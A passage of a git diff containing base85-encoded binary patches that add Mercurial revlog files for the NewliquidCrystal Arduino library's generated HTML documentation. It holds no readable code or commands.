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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/globals__enum.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/globals__enum.html.i new file mode 100644 index 0000000000000000000000000000000000000000..847bd2d2287eaf37ebca67a865c4405d1a8d2cd8 GIT binary patch literal 2443 zcmb7Fc{CK<8=gr+*2s({l%t{SgKYVbEevC)X>5bRAnPZ~XDgyily$OYB*&U4Rw0YCr{a178E0036|Zx2X4_yx3D zFL@|_cfpgPM~~x7g}d%o*Jr2N1)dH8+j^*du z!`JCFGwTn+BB*=Z&CF}tg;U+~ZXuGg7KZcf+Ga4?-ua)TyGHS`y`d2m$e;&d#>KJf zKc=N6t;U&L)iVpA3(+E^{cDPrF9^O*LgZn~0|Vw4vr0i+(@yj;9JMu!>Pgs7L^@HH zQv>{^j=4}DZ&i1+8{u0p%o!fF5XNVxVEpuvpolF0?r;>dpFlj={F$5|udkpYjPFjr 